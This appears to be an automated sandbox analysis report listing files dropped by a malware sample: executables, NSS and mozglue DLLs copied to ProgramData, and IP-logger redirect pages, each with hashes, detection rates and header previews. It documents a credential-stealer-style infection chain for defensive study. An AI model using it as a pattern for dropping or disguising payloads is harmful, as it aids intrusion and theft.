                                                                                                        SHA-256:EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
                                                                                                        SHA-512:0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
                                                                                                        Malicious:true
                                                                                                        Antivirus:
                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                        • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\ProgramData\mozglue.dll

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exe
                                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):608080
                                                                                                        Entropy (8bit):6.833616094889818
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
                                                                                                        MD5:C8FD9BE83BC728CC04BEFFAFC2907FE9
                                                                                                        SHA1:95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
                                                                                                        SHA-256:BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
                                                                                                        SHA-512:FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
                                                                                                        Malicious:true
                                                                                                        Antivirus:
                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                        • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\ProgramData\msvcp140.dll

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exe
                                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):450024
                                                                                                        Entropy (8bit):6.673992339875127
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
                                                                                                        MD5:5FF1FCA37C466D6723EC67BE93B51442
                                                                                                        SHA1:34CC4E158092083B13D67D6D2BC9E57B798A303B
                                                                                                        SHA-256:5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
                                                                                                        SHA-512:4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
                                                                                                        Malicious:false
                                                                                                        Antivirus:
                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                        • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

                                                                                                        C:\ProgramData\nss3.dll

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exe
                                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2046288
                                                                                                        Entropy (8bit):6.787733948558952
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
                                                                                                        MD5:1CC453CDF74F31E4D913FF9C10ACDDE2
                                                                                                        SHA1:6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
                                                                                                        SHA-256:AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
                                                                                                        SHA-512:DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
                                                                                                        Malicious:true
                                                                                                        Antivirus:
                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                        • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\ProgramData\softokn3.dll

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exe
                                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):257872
                                                                                                        Entropy (8bit):6.727482641240852
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
                                                                                                        MD5:4E52D739C324DB8225BD9AB2695F262F
                                                                                                        SHA1:71C3DA43DC5A0D2A1941E874A6D015A071783889
                                                                                                        SHA-256:74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
                                                                                                        SHA-512:2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
                                                                                                        Malicious:true
                                                                                                        Antivirus:
                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                        • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\2QIlVpy1FnjRPIOnHFE2X7B9.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1460)
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7446
                                                                                                        Entropy (8bit):5.421861304476025
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:192:HLlX+suv13xV1cSHYu+zogDLIIUOb6z5p7KMxSR1yz:H5X+Dv13T1FH0fHIIP69x+u
                                                                                                        MD5:FCAD815E470706329E4E327194ACC07C
                                                                                                        SHA1:C4EDD81D00318734028D73BE94BC3904373018A9
                                                                                                        SHA-256:280D939A66A0107297091B3B6F86D6529EF6FAC222A85DBC82822C3D5DC372B8
                                                                                                        SHA-512:F4031B49946DA7C6C270E0354AC845B5C77B9DFCD267442E0571DD33CCD5146BC352ED42B59800C9D166C8C1EDE61469A00A4E8D3738D937502584E8A1B72485
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="https://cdn.iplogger.org/redirect/brand.png" />..<meta property="og:description" content="yip.su is a Branded Short Domain" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="o

                                                                                                        C:\Users\user\AppData\Local\37OEtIICZwQGY3VibExbHo6T.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1460)
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7446
                                                                                                        Entropy (8bit):5.421861304476025
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:192:HLlX+suv13xV1cSHYu+zogDLIIUOb6z5p7KMxSR1yz:H5X+Dv13T1FH0fHIIP69x+u
                                                                                                        MD5:FCAD815E470706329E4E327194ACC07C
                                                                                                        SHA1:C4EDD81D00318734028D73BE94BC3904373018A9
                                                                                                        SHA-256:280D939A66A0107297091B3B6F86D6529EF6FAC222A85DBC82822C3D5DC372B8
                                                                                                        SHA-512:F4031B49946DA7C6C270E0354AC845B5C77B9DFCD267442E0571DD33CCD5146BC352ED42B59800C9D166C8C1EDE61469A00A4E8D3738D937502584E8A1B72485
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="https://cdn.iplogger.org/redirect/brand.png" />..<meta property="og:description" content="yip.su is a Branded Short Domain" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="o

                                                                                                        C:\Users\user\AppData\Local\3zo1tV5f3Ay9BnN3gEE89S3s.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4966712
                                                                                                        Entropy (8bit):7.951095526548766
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:yqRadkj+V67YdCL4tScHb1RHkR5XEubvGN+5AiKFE:yqRaU+A7CLScHb1aRxE4vMurKFE
                                                                                                        MD5:C67B184E265425655EB485932963AF53
                                                                                                        SHA1:B7387C1CA7FB70C03EDB554DB906B026F23C71DF
                                                                                                        SHA-256:F6BE9E93C9FF8FC8111A99D53C1D90FE197B87DED4E99A69222314A17EBC21E4
                                                                                                        SHA-512:5D0876766B83340513927CCA780E9015B6195D29FF6F3CF1024E72084F91396E597709FB0B4543891572D02C3FD264E63D1919E37C89224DCF3CE0DD15F470AF
                                                                                                        Malicious:true
                                                                                                        Antivirus:
                                                                                                        • Antivirus: ReversingLabs, Detection: 52%
                                                                                                        • Antivirus: Virustotal, Detection: 62%, Browse
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....Qe..........".......0.........U..........@.....................................'L...`.............................................................k............K.8-......8...............................(................................................... ..0......................... ..` ......1.....................@..@ .$....4.....................@... 4X....6.....................@..@ .....p7.....................@..@.~"(+)"~'.....7.....................@..@ T&....8.....................@..@.idata........8.....................@....tls..........8..........................themida..G...8.....................`....~"(+)"~.$......................... ..`.~"(+)"~(...........................@....~"(+)"~..J.......J.................`..h.reloc..8.............J................@.rsrc...k.............J.............@..@........

                                                                                                        C:\Users\user\AppData\Local\41rSfwrrEtzdo8l6hDX9qUIY.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7643669
                                                                                                        Entropy (8bit):7.996947593317046
                                                                                                        Encrypted:true
                                                                                                        SSDEEP:196608:91OykiNwE/AJoqsoKQRDKlnbTQwI/S2CU5B2rSGA3s:3OZiNwE/AifQRDTw6orSGA3s
                                                                                                        MD5:5CCF030395F0F69B0C11A11E26B31833
                                                                                                        SHA1:44DC863603CCA79141886313D7F1C95E749B095B
                                                                                                        SHA-256:7D48B37BB9001C586A9F54794DF32CD98303AC9510708A906012A4346203D475
                                                                                                        SHA-512:11F550DE98E3C093DEDF829BFB2DD181F2B759E4C2D286FB9CF8AF6CBB4A70C162C1595C00BD77AA50C3E7FD0A0380572D72BADC141D391A46E911021CD6BCF6
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\4EHgS2alV3RiwqAfmEQ0frTw.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1460)
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7446
                                                                                                        Entropy (8bit):5.421861304476025
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:192:HLlX+suv13xV1cSHYu+zogDLIIUOb6z5p7KMxSR1yz:H5X+Dv13T1FH0fHIIP69x+u
                                                                                                        MD5:FCAD815E470706329E4E327194ACC07C
                                                                                                        SHA1:C4EDD81D00318734028D73BE94BC3904373018A9
                                                                                                        SHA-256:280D939A66A0107297091B3B6F86D6529EF6FAC222A85DBC82822C3D5DC372B8
                                                                                                        SHA-512:F4031B49946DA7C6C270E0354AC845B5C77B9DFCD267442E0571DD33CCD5146BC352ED42B59800C9D166C8C1EDE61469A00A4E8D3738D937502584E8A1B72485
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="https://cdn.iplogger.org/redirect/brand.png" />..<meta property="og:description" content="yip.su is a Branded Short Domain" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="o

                                                                                                        C:\Users\user\AppData\Local\4HEo1sjjkhLSQkWpfp7Tvy6i.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):5494552
                                                                                                        Entropy (8bit):7.709997935733505
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:jkIr0MF/LGIgU95JrA8MjLiwlqVwDfb1BrOuQ4:jkIr0MF/FV95BA8hwgCpO2
                                                                                                        MD5:9873907D252DCECD6BAEA9A11AC4B0DA
                                                                                                        SHA1:102562C75D3DBB2C9B2922674F83C5F0F36E3D0C
                                                                                                        SHA-256:A5C68511132B9590F0D60BC6FA5F43999C25D636D0B29AAE1FF3787688907FE7
                                                                                                        SHA-512:2054607E09F31D65060A8B8205755F785B5EA0BE9B248977B00FA95ED2938313309876D91B7FEF5D33866024CF52CF0DD7A73336E703E035770E24B506DB19C8
                                                                                                        Malicious:true
                                                                                                        Antivirus:
                                                                                                        • Antivirus: Avira, Detection: 100%
                                                                                                        • Antivirus: ReversingLabs, Detection: 88%
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(......S.. .............@.............................0T.......S...`... ...............................................S. .....T.......S.X.....S..)... T.x.............................S.(.....................S.h............................text...............................`..`.data...@.R.......R.................@....rdata.. .....S.. ...hS.............@..@.pdata..X.....S.......S.............@..@.xdata..4.....S.......S.............@..@.bss.... .....S..........................idata.. .....S.......S.............@....CRT....`.....S.......S.............@....tls..........T.......S.............@....rsrc.........T.......S.............@....reloc..x.... T.......S.............@..B........................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\4f5Nx5TIr9aFLxNLjJPgXzZC.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):5494552
                                                                                                        Entropy (8bit):7.709997935733505
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:jkIr0MF/LGIgU95JrA8MjLiwlqVwDfb1BrOuQ4:jkIr0MF/FV95BA8hwgCpO2
                                                                                                        MD5:9873907D252DCECD6BAEA9A11AC4B0DA
                                                                                                        SHA1:102562C75D3DBB2C9B2922674F83C5F0F36E3D0C
                                                                                                        SHA-256:A5C68511132B9590F0D60BC6FA5F43999C25D636D0B29AAE1FF3787688907FE7
                                                                                                        SHA-512:2054607E09F31D65060A8B8205755F785B5EA0BE9B248977B00FA95ED2938313309876D91B7FEF5D33866024CF52CF0DD7A73336E703E035770E24B506DB19C8
                                                                                                        Malicious:true
                                                                                                        Antivirus:
                                                                                                        • Antivirus: Avira, Detection: 100%
                                                                                                        • Antivirus: ReversingLabs, Detection: 88%
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(......S.. .............@.............................0T.......S...`... ...............................................S. .....T.......S.X.....S..)... T.x.............................S.(.....................S.h............................text...............................`..`.data...@.R.......R.................@....rdata.. .....S.. ...hS.............@..@.pdata..X.....S.......S.............@..@.xdata..4.....S.......S.............@..@.bss.... .....S..........................idata.. .....S.......S.............@....CRT....`.....S.......S.............@....tls..........T.......S.............@....rsrc.........T.......S.............@....reloc..x.... T.......S.............@..B........................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\674Kdwx0QZ5HYr8oith6hwyE.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2939768
                                                                                                        Entropy (8bit):7.767399017541886
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:49152:QGFBJ146mJFoZYuozeJdMjCgg8V9SI657uMCfmOPABjtz/pLXPtU+r:ZJBm3eJcFt4uM6mFBJtLXVUS
                                                                                                        MD5:E357FC99BB4A4EC1B561875892B69F1A
                                                                                                        SHA1:0278608ADED3397CD8D6A223142A5696F94A16EB
                                                                                                        SHA-256:1BB74AFD435551D334103F3563F0B936DD904D0EF3E6BC9E86F50FD38A683DEE
                                                                                                        SHA-512:E8CC73BDAF45315E430444BE0742D207AD53C0F07ED7080FC98092CA77EB7B817453EC094C89E21793ED8B09347060CE04A1924B85987C86DF38ECBEB96D7332
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."......0,.......%...Q...%...R...@...........................R.......-...@..................................R.......R..............,.x+...R...............................Q.......Q.............................................UPX0......%.............................UPX1.....0,...%..,,.................@....rsrc.........R.......,.............@...4.02.UPX!........`]f~.Q..(,..TQ.&...a.!.U..]....U..1.]........SWV.....E.`..@....@.......pd.....d....}...........M.1..U..A.M.).).9..L.M.4.....9.r.9.wx.u..t.SPQ......U.....B.......B..M...;}.}<.M...Z.9.r........X$.E..........p.......t.....`..A1.CL.1..EZ.F...........^_[]...>..h........}..h...A......<,.....f7.v..U......E.K..WV...d....x ..}.u.1.H^_].....F..H..N......5.?. ..OM.P...7...P..}..O.#?..<..W.)..9.r.....o8.9......Y.SQR............\}..W.......;E.}....H.._.9.r..E.....E...X0%.=.d.....u.g..

                                                                                                        C:\Users\user\AppData\Local\6D0wEbfp4dy4jAN7wi8NeRqk.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7643669
                                                                                                        Entropy (8bit):7.996947593317046
                                                                                                        Encrypted:true
                                                                                                        SSDEEP:196608:91OykiNwE/AJoqsoKQRDKlnbTQwI/S2CU5B2rSGA3s:3OZiNwE/AifQRDTw6orSGA3s
                                                                                                        MD5:5CCF030395F0F69B0C11A11E26B31833
                                                                                                        SHA1:44DC863603CCA79141886313D7F1C95E749B095B
                                                                                                        SHA-256:7D48B37BB9001C586A9F54794DF32CD98303AC9510708A906012A4346203D475
                                                                                                        SHA-512:11F550DE98E3C093DEDF829BFB2DD181F2B759E4C2D286FB9CF8AF6CBB4A70C162C1595C00BD77AA50C3E7FD0A0380572D72BADC141D391A46E911021CD6BCF6
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\6V2xKGSdzZOG2l67fqdIp9iJ.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):263168
                                                                                                        Entropy (8bit):6.52994835847705
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3072:LPywFVBPM+O+GWzYGtlxfSibc7BZAqk5K77cp3HJAXRB3h7ovb1YP:TpPM+tGyjNm1kMsXCBM
                                                                                                        MD5:1C4BA9EB815AD39858DEF7341D3CFFF1
                                                                                                        SHA1:EA2178498AE21F72C1B3E747B52EB2C352D0AAEB
                                                                                                        SHA-256:43B6C8B1F176259C637C7DA21AEAB0FCF0F3934C599CEACB755C937EF71D0238
                                                                                                        SHA-512:F5CE6A136BA922C67E2A7A4B333A3A4196AAEFC7ACF7650B23C206CA4C9F4BD647772C4AF2AFD22F2C21CDC2DD570F34EB47537AFBA4D9E9D4B620FF08BAEEE1
                                                                                                        Malicious:true
                                                                                                        Antivirus:
                                                                                                        • Antivirus: Avira, Detection: 100%
                                                                                                        • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                        • Antivirus: ReversingLabs, Detection: 100%
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L...Ob.b.............................Z....... ....@...........................#.....9.......................................`........P......................`#.....@...............................@3..@............................................text............................... ..`.data...\.... ......................@....rsrc........P.......$..............@..@.reloc..R$...`#..&..................@..B................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\7kfsbB1Hl48Vwwq14EpVnfnY.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):5494552
                                                                                                        Entropy (8bit):7.709997935733505
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:jkIr0MF/LGIgU95JrA8MjLiwlqVwDfb1BrOuQ4:jkIr0MF/FV95BA8hwgCpO2
                                                                                                        MD5:9873907D252DCECD6BAEA9A11AC4B0DA
                                                                                                        SHA1:102562C75D3DBB2C9B2922674F83C5F0F36E3D0C
                                                                                                        SHA-256:A5C68511132B9590F0D60BC6FA5F43999C25D636D0B29AAE1FF3787688907FE7
                                                                                                        SHA-512:2054607E09F31D65060A8B8205755F785B5EA0BE9B248977B00FA95ED2938313309876D91B7FEF5D33866024CF52CF0DD7A73336E703E035770E24B506DB19C8
                                                                                                        Malicious:true
                                                                                                        Antivirus:
                                                                                                        • Antivirus: Avira, Detection: 100%
                                                                                                        • Antivirus: ReversingLabs, Detection: 88%
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(......S.. .............@.............................0T.......S...`... ...............................................S. .....T.......S.X.....S..)... T.x.............................S.(.....................S.h............................text...............................`..`.data...@.R.......R.................@....rdata.. .....S.. ...hS.............@..@.pdata..X.....S.......S.............@..@.xdata..4.....S.......S.............@..@.bss.... .....S..........................idata.. .....S.......S.............@....CRT....`.....S.......S.............@....tls..........T.......S.............@....rsrc.........T.......S.............@....reloc..x.... T.......S.............@..B........................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\7vGVJ4vo69rcWRQudRLDXauN.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):263168
                                                                                                        Entropy (8bit):6.52994835847705
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3072:LPywFVBPM+O+GWzYGtlxfSibc7BZAqk5K77cp3HJAXRB3h7ovb1YP:TpPM+tGyjNm1kMsXCBM
                                                                                                        MD5:1C4BA9EB815AD39858DEF7341D3CFFF1
                                                                                                        SHA1:EA2178498AE21F72C1B3E747B52EB2C352D0AAEB
                                                                                                        SHA-256:43B6C8B1F176259C637C7DA21AEAB0FCF0F3934C599CEACB755C937EF71D0238
                                                                                                        SHA-512:F5CE6A136BA922C67E2A7A4B333A3A4196AAEFC7ACF7650B23C206CA4C9F4BD647772C4AF2AFD22F2C21CDC2DD570F34EB47537AFBA4D9E9D4B620FF08BAEEE1
                                                                                                        Malicious:true
                                                                                                        Antivirus:
                                                                                                        • Antivirus: Avira, Detection: 100%
                                                                                                        • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                        • Antivirus: ReversingLabs, Detection: 100%
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L...Ob.b.............................Z....... ....@...........................#.....9.......................................`........P......................`#.....@...............................@3..@............................................text............................... ..`.data...\.... ......................@....rsrc........P.......$..............@..@.reloc..R$...`#..&..................@..B................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\9SGQSs1LUD8QXKzbk1xqOcnZ.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1460)
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7446
                                                                                                        Entropy (8bit):5.421861304476025
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:192:HLlX+suv13xV1cSHYu+zogDLIIUOb6z5p7KMxSR1yz:H5X+Dv13T1FH0fHIIP69x+u
                                                                                                        MD5:FCAD815E470706329E4E327194ACC07C
                                                                                                        SHA1:C4EDD81D00318734028D73BE94BC3904373018A9
                                                                                                        SHA-256:280D939A66A0107297091B3B6F86D6529EF6FAC222A85DBC82822C3D5DC372B8
